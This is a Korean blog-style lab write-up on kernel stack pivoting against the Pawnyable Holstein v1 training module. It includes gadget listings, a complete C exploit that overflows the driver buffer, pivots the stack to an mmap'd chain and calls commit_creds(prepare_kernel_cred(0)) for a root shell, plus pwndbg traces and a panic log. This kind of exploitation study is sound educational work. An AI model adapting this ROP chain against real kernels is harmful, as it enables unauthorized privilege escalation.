서론
지금까지 단순히 ret address를 변조할 수 있는 경우에 대해 공부하였다.
만일 ret address 변조가 아닌 함수 pointer 주소만 변조할 수 있는 경우에는 어떨까.
예를 들면 *input() 과 같은 식으로 실행될 때이다.
이 경우 결국 주소로 jmp하는 것과 같기 때문에 페이로드의 흐름과 rop에 따른 흐름이 일치하지 않는다.
그러므로 이를 일치시켜주기 위한 stack pivoting이 필요하다.
문제 환경
pwnyable 기본 커널로 한다.
1. 환경설정
vmlinux 추출, 분석 및 취약점이 모두 앞과 동일하다.
2023.08.27 - [Kernel Exploit] - kernel - ret2usr
여기에 아래와 같이 smep와 디버깅을 위한 -s만 추가해줬다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64,smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
2. payload 작성 준비
결국은 커널 영역의 rop에서도 사용되는 위치 또는 특정할 수 있는 위치에 미리 값을 넣어두고
여기로 rsp 또는 esp를 변조하여 rop의 흐름을 이어가게 하는 것이 목표이다.
이를 변조하기 위해서 가장 먼저 실행되어야할 것은 역시 gadget 찾기이다.
2.1 gadget 찾기.
마찬가지로 vmlinux 파일에서 찾는다.
기본적으로 esp 또는 rsp를 컨트롤 할 수 있는 gadget을 찾아야하는데,
그냥 esp / rsp만 grep으로 분류하면 엄청 많은 가젯이 나온다.
그 중에 어떤 가젯을 쓰느냐인데,
만일 mov esp, 0x10000과 같은 부분이 있다면 가장 좋다고 생각된다.
그 이유는 아무래도 주소를 특정할 수 있기 때문이다.
예를 들면 아래와 같다.
0xffffffff81363970 : mov esp, 0x5d00041d ; ret
0xffffffff810a4340 : mov esp, 0x5d0007fc ; ret
0xffffffff814745a0 : mov esp, 0x5d0058c4 ; ret
0xffffffff813b37a0 : mov esp, 0x5d0064d2 ; ret
....
이와 유사하게 xchg 명령어를 사용해 esp와 값을 바꾸는 gadget을 사용할 수 있다.
예를 들면 xchg eax, esp ; ret과 유사한 형식의 가젯이 있다면
eax에 특정 값을 넣어두고 해당 가젯을 통해 esp를 입맛에 맞게 조정할 수 있다.
0xffffffff810b30a5 : xchg esp, eax ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff8131764a : xchg esp, eax ; outsb dx, byte ptr [rsi] ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13
0xffffffff8103bb8f : xchg esp, eax ; pop rbp ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff815edac8 : xchg esp, eax ; pop rsp ; mov eax, 0x827be9ff ; ret 0x44ff
...
3. payload 작성 및 exploit - with mov esp,
아래 가젯으로 먼저 시도해보자. (xchg는 별도로 글 작성)
0xffffffff81507c39; //mov esp, 0xf6000000 ; ret
위와 같이 많은 가젯이 있지만, 000으로 끝나는 부분이 아무래도 오프셋 맞추기도 쉬우니 해당 주소로 했다.
//gcc -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240;
#define commit_creds 0xffffffff8106e390;
#define rdi 0xffffffff8127bbdc; //pop rdi ; ret
#define mov_rdi_rax 0xffffffff8160c96b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e; //swapgs ; ret
#define iretq 0xffffffff810202af;
#define rcx 0xffffffff8132cdd3; //pop rcx ; ret
#define esp 0xffffffff81507c39; //mov esp, 0xf6000000 ; ret <-추가됨.
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
//if (fd == -1) fatal("open(\"/dev/holstein\")");
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *add = (unsigned long*)&buf[0x408]; <-추가됨.
*add++ = esp; <-추가됨.
unsigned long *chain = mmap((void *)0xf6000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0); <-추가됨.
unsigned off = 0x1000 / 8 - 1; <-추가됨.
*chain++ = 0xdeadbeef; <-추가됨.
chain[off++] = rdi;
chain[off++] = 0;
chain[off++] = prepare_kernel_cred;
chain[off++] = rcx;
chain[off++] = 0;
chain[off++] = mov_rdi_rax;
chain[off++] = commit_creds;
chain[off++] = swapgs; //여기부터 restore_state 함수의 역할과 동일함.
chain[off++] = iretq;
chain[off++] = (unsigned long)&win;
chain[off++] = user_cs;
chain[off++] = user_rflags;
chain[off++] = user_rsp;
chain[off++] = user_ss;
write(fd, buf, 0x500);
close(fd);
return 0;
}
페이로드를 설명하자면, buf 변수의 마지막에 mov esp 가젯을 넣어 module_write 함수의 ret을 mov esp로 변경하였다.
이후 mmap을 통해 0xf6000000 - 0x1000부터 0x2000을 새로 할당하고,
0xf5fff000에 0xdeadbeef를 넣고
0xf6000000에 payload들을 넣었다.
그럼 아래와 같이 module_write ret에서 movl $0xf6000000, %esp 명령어가 실행되고,
(현재 rsp는 0xffffc90000453eb0)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────*RAX 0x500
*RBX 0xffff888002695e00 ◂— 0x0
*RCX 0x0
*RDX 0x7f
*RDI 0xffff8880032a2800 —▸ 0xffffffff81d2568a ◂— 0x7500746e65766575 /* 'uevent' */
*RSI 0xffffc90000453ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
*R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
*R9 0x4ffb
*R10 0xfffff000
*R11 0x3fffffffffffffff
*R12 0x500
R13 0x0
*R14 0x7ffcb9c986e0 ◂— 0x4141414141414141 ('AAAAAAAA')
*R15 0xffffc90000453ef8 ◂— 0x0
*RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0xffffc90000453eb0 —▸ 0xffffffff81507c39 ◂— movl $0xf6000000, %esp
*RIP 0xffffffffc000020e ◂— retq
───────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
► 0xffffffffc000020e retq <0xffffffff81507c39>
↓
0xffffffff81507c39 movl $0xf6000000, %esp
0xffffffff81507c3e retq
↓
...
이후 변경된 rsp와 stack의 값은 아래와 같아진다.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
RAX 0x500
RBX 0xffff888002695e00 ◂— 0x0
RCX 0x0
RDX 0x7f
RDI 0xffff8880032a2800 —▸ 0xffffffff81d2568a ◂— 0x7500746e65766575 /* 'uevent' */
RSI 0xffffc90000453ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
R9 0x4ffb
R10 0xfffff000
R11 0x3fffffffffffffff
R12 0x500
R13 0x0
R14 0x7ffcb9c986e0 ◂— 0x4141414141414141 ('AAAAAAAA')
R15 0xffffc90000453ef8 ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
*RIP 0xffffffff81507c3e ◂— retq
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffffffc000020e retq
↓
0xffffffff81507c39 movl $0xf6000000, %esp
► 0xffffffff81507c3e retq <0xffffffff8127bbdc>
↓
0xffffffff8127bbdc popq %rdi
0xffffffff8127bbdd retq
↓
0xffffffff8106e240 pushq %rbp
0xffffffff8106e241 movl $0xcc0, %esi
0xffffffff8106e246 movq %rsp, %rbp
0xffffffff8106e249 pushq %r13
0xffffffff8106e24b movq %rdi, %r13
0xffffffff8106e24e movq 0xf894db(%rip), %rdi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
01:0008│ 0xf6000008 ◂— 0
02:0010│ 0xf6000010 —▸ 0xffffffff8106e240 ◂— pushq %rbp
03:0018│ 0xf6000018 —▸ 0xffffffff8132cdd3 ◂— popq %rcx
04:0020│ 0xf6000020 ◂— 0
05:0028│ 0xf6000028 —▸ 0xffffffff8160c96b ◂— movq %rax, %rdi
06:0030│ 0xf6000030 —▸ 0xffffffff8106e390 ◂— pushq %rbp
07:0038│ 0xf6000038 —▸ 0xffffffff8160bf7e ◂— swapgs
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0xffffffff81507c3e
1 0xffffffff8127bbdc
2 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rsp
0xf6000000: 0xffffffff8127bbdc 0x0000000000000000
0xf6000010: 0xffffffff8106e240 0xffffffff8132cdd3
0xf6000020: 0x0000000000000000 0xffffffff8160c96b
0xf6000030: 0xffffffff8106e390 0xffffffff8160bf7e
0xf6000040: 0xffffffff810202af 0x00000000004017d5
정상적으로 피벗팅된 것을 확인할 수 있다.
계속 진행해 본 결과!
[ Holstein v1 (LK01) - Pawnyable ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)
/ #
성공~!
4. 유의사항
여기서 유의할 점은
mmap을 통해 0xf6000000 - 0x1000부터 0x2000을 새로 할당하고,
0xf5fff000에 0xdeadbeef를 넣고 0xf6000000에 payload들을 넣었다는 점이다.
그 이유는 최초 0xf6000000로 stack pivoting이 될 때는 정상적으로 작동하지만
swapgs, iretq 명령어 사용 중 0xf6000000보다 낮은 주소를 사용하기 때문이며,
만일 0xf5fff000 영역에 0xdeadbeef를 넣지 않으면 아래와 같이 double fault kernel panic 발생한다.
[ Holstein v1 (LK01) - Pawnyable ]
/ $ ./payload
traps: PANIC: double fault, error_code: 0x0
double fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: payload Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:prepare_kernel_cred+0x17/0x150
Code: 0f 74 01 c3 55 48 89 e5 e8 56 fd ff ff 5d c3 0f 0b 66 90 55 be c0 0c 00 00 48 89 e5 41 55 49 89 fd 48 8b 3d 4
RSP: 0018:00000000f6000000 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff88800267bd00 RCX: 0000000000000000
RDX: 000000000000007f RSI: 0000000000000cc0 RDI: ffff88800245c000
RBP: 00000000f6000010 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000500
R13: 0000000000000000 R14: 00007ffecf428620 R15: ffffc9000044bef8
FS: 00000000004ce3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000f5fffff8 CR3: 000000000327c000 CR4: 00000000001006f0
Call Trace:
Modules linked in: vuln(O)
---[ end trace 5569df74a5365a57 ]---
RIP: 0010:prepare_kernel_cred+0x17/0x150
Code: 0f 74 01 c3 55 48 89 e5 e8 56 fd ff ff 5d c3 0f 0b 66 90 55 be c0 0c 00 00 48 89 e5 41 55 49 89 fd 48 8b 3d 4
RSP: 0018:00000000f6000000 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff88800267bd00 RCX: 0000000000000000
RDX: 000000000000007f RSI: 0000000000000cc0 RDI: ffff88800245c000
RBP: 00000000f6000010 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000500
R13: 0000000000000000 R14: 00007ffecf428620 R15: ffffc9000044bef8
FS: 00000000004ce3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000f5fffff8 CR3: 000000000327c000 CR4: 00000000001006f0
Kernel panic - not syncing: Fatal exception in interrupt
Kernel Offset: disabled
기본적으로 mmap을 통한 페이지 mapping은 0x1000 단위로 이루어지며,
만일 mmap을 통해 메모리가 확보되었더라도 실제로 해당 영역을 사용하지 않으면
page table에 삽입되지 않아 결국은 확보되지 않은 메모리 영역으로 인식하기 때문이라고 한다.
swapgs와 iretq에 따른 필요 공간이 얼마인지는 모르겠으나,
만일 0xf6000000가 아닌 0xf6000800 정도로 esp를 셋팅하는 가젯이 있다면 이런 작업은 거치지 않아도 될 것으로 보인다.
'Kernel Exploit' 카테고리의 다른 글
kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일 (0) | 2023.09.09 |
---|---|
Kernel - stack pivoting #2 - with xchg (0) | 2023.09.09 |
Kernel - SMEP 우회, cr4 overwrite #2 (0) | 2023.09.08 |
Kernel - SMEP 우회, cr4 overwrite (0) | 2023.09.08 |
Kernel - SMEP 우회, krop (0) | 2023.09.07 |